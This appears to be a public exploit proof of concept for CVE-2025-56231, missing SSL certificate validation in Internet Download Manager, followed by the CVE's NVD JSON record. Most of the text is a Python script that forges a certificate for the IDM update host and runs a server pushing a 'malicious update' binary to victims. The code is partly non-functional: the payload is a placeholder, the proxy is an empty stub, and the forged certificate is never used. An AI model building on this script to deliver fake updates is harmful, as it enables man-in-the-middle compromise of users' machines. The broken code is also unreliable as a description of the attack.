CVE-2025-56231

# CVE-2025-56231 PoC - Missing SSL Certificate Validation in IDM # This PoC demonstrates how an attacker can exploit the missing SSL validation import ssl import socket import http.server import socketserver from OpenSSL import crypto import threading # Generate self-signed certificate for MITM attack def generate_self_signed_cert(): # Create key pair key = crypto.PKey() key.generate_key(crypto.TYPE_RSA, 2048) # Create certificate cert = crypto.X509() cert.get_subject().C = "US" cert.get_subject().O = "IDM Update Server" cert.get_subject().CN = "update.internetdownloadmanager.com" cert.set_serial_number(1000) cert.gmtime_adj_notBefore(0) cert.gmtime_adj_notAfter(365*24*60*60) cert.set_issuer(cert.get_subject()) cert.set_pubkey(key) cert.sign(key, 'sha256') return key, cert # Malicious update server handler class MaliciousUpdateHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): if '/update' in self.path or 'IDMSetup' in self.path: # Serve malicious update payload malicious_payload = self.generate_malicious_binary() self.send_response(200) self.send_header('Content-Type', 'application/octet-stream') self.send_header('Content-Length', len(malicious_payload)) self.end_headers() self.wfile.write(malicious_payload) print('[+] Malicious update sent to victim') def generate_malicious_binary(self): # Placeholder for actual malicious binary return b'MZ' + b'\x00' * 100 # Simple placeholder # Start MITM proxy with SSL stripping def start_mitm_proxy(): # Create SSL context that accepts any certificate (simulating IDM behavior) context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) context.check_hostname = False # Vulnerable: hostname check disabled context.verify_mode = ssl.CERT_NONE # Vulnerable: certificate validation disabled # Note: In real attack, this would intercept and forward traffic # while serving malicious updates pass if __name__ == '__main__': print('CVE-2025-56231 PoC - IDM SSL Validation Bypass') print('This demonstrates the missing SSL certificate validation') print('WARNING: For educational and authorized testing only') # Generate malicious certificate key, cert = generate_self_signed_cert() print('[+] Generated self-signed certificate for MITM attack') # Start malicious update server PORT = 443 with socketserver.TCPServer(('', PORT), MaliciousUpdateHandler) as httpd: print(f'[+] Malicious server listening on port {PORT}') httpd.serve_forever()

{"cve": {"id": "CVE-2025-56231", "sourceIdentifier": "[email protected]", "published": "2025-11-05T18:15:33.637", "lastModified": "2026-01-07T20:58:53.493", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tonec Internet Download Manager 6.42.41.1 and earlier suffers from Missing SSL Certificate Validation, which allows attackers to bypass update protections."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-295"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tonec:internet_download_manager:*:*:*:*:*:*:*:*", "versionEndIncluding": "6.42.41.1", "matchCriteriaId": "F2C16B4D-7D3A-4CC4-86B8-B4599664B7D6"}]}]}], "references": [{"url": "http://tonec.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.notion.so/CVE-2025-56231-2a04e9f2a40d80b184f4d02be58d3600", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}